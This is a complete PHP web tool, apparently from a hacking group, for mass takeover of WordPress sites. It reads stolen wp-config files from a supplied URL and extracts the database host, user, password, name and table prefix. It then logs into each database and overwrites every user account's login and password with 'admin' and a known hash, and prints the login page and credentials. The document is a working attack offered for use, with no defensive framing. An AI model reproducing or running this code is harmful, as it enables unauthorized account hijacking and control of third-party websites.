WP Pass Changer

<html>
<head>
    <title>Wordpress Mass Change Password</title>
    <link href="http://i.imgur.com/QZW15QW.png" rel="icon">
    <style type="text/css">

    @import 'https://fonts.googleapis.com/css?family=Oswald';
html,body{
    background: #f9f9f9;
    padding: 0;
    direction: ltr;
    margin: 0;
}
h1{
    color:#16a085;
    text-shadow:0 0 5px;
    font-family: 'Oswald', sans-serif;
}
#gter{
    position: absolute;
    top: 0;
    width: 100%;
    text-align: center;
    background: #16a085;
    color:#fff;
    padding-top: 10px;
    padding-bottom: 10px;
    font-family: 'Oswald', sans-serif;
    border-top: 5px solid #2980b9;
    border-bottom: 5px solid #2c3e50;
    margin-bottom:20px;
}
.f{
    color:#666;
    text-shadow: 0 0 5px #00ff00;
    font-size: 20px;
}
a{
    text-decoration: none;
    color:#ff0000;
    text-shadow:0 0 5px;
}
form{
    margin-top: 120px;
}
input[type=submit]{
    padding: 10px;
    border:1px solid #ccc;
    background: #f9f9f9;
    border-radius: 5px;
    cursor: pointer;
    color:#000;
    transition: all 0.2s;
    font-family: 'Oswald', sans-serif;
}
input[type=submit]:hover{
    box-shadow: 0 0 2px #ff0000;
}
input[type=text]{
    font-family: 'Oswald', sans-serif;
    color:#000;
    border:1px solid #ccc;
    background: #f9f9f9;
    padding: 10px;
    width: 400px;
    transition: all 0.5s;
}
input[type=text]:focus{
    box-shadow: 0 0 3px #ff0000;
}


    </style>
</head>
<body>
<center>
<div id="gter">Coded By Rajaoui PS || Greets To : Sh4d0wz Memberz</div>
<form method="post">
<input type="text" name="config" placeholder="URL">
<input type="submit" name="ch" value="Change">
</form>
</center>
<?
set_time_limit(0);
error_reporting(0);
if($_POST['ch']){
$get2 = file_get_contents($_POST['config']);
preg_match_all('#<a href="(.*?)"#', $get2, $config);
foreach($config[1] as $don){
$get = file_get_contents($_POST['config']."/".$don);

preg_match_all("#'DB_HOST', '(.*?)'#", $get, $host);
foreach($host[1] as $don){
    $host = $don;
}
###
preg_match_all("#'DB_PASSWORD', '(.*?)'#", $get, $pass);
foreach($pass[1] as $done){
    $password = $done;
}
###
preg_match_all("#'DB_USER', '(.*?)'#", $get, $user);
foreach($user[1] as $done1){
    $user = $done1;
}
###
preg_match_all("#'DB_NAME', '(.*?)'#", $get, $name);
foreach($name[1] as $done2){
    $name = $done2;
}
###
preg_match_all("#$table_prefix  = '(.*?)'#", $get, $prefix);
foreach($prefix[1] as $done3){
    $prefix = $done3;
}
$connect = mysqli_connect($host,$user,$password,$name);
if($connect){
    $query1 = mysqli_query($connect,"select * from ".$prefix."options where option_name='siteurl'");
while($siteurl = mysqli_fetch_array($query1)){
    $site_url = $siteurl['option_value'];
}
#####
$query2 = mysqli_query($connect,"update ".$prefix."users set user_login='admin',user_pass='32abd80c3cfeb4fc2bc028990d030874'");
if($query2){
    echo "<center><span class=f>URL : <a href='$site_url/wp-login.php' target='_blank'>$site_url</a><br><br>UserName : admin<br><br>Password : Sh4d0wz<br><br></span></center>";
}
}
}
}
?>
</body>
</html>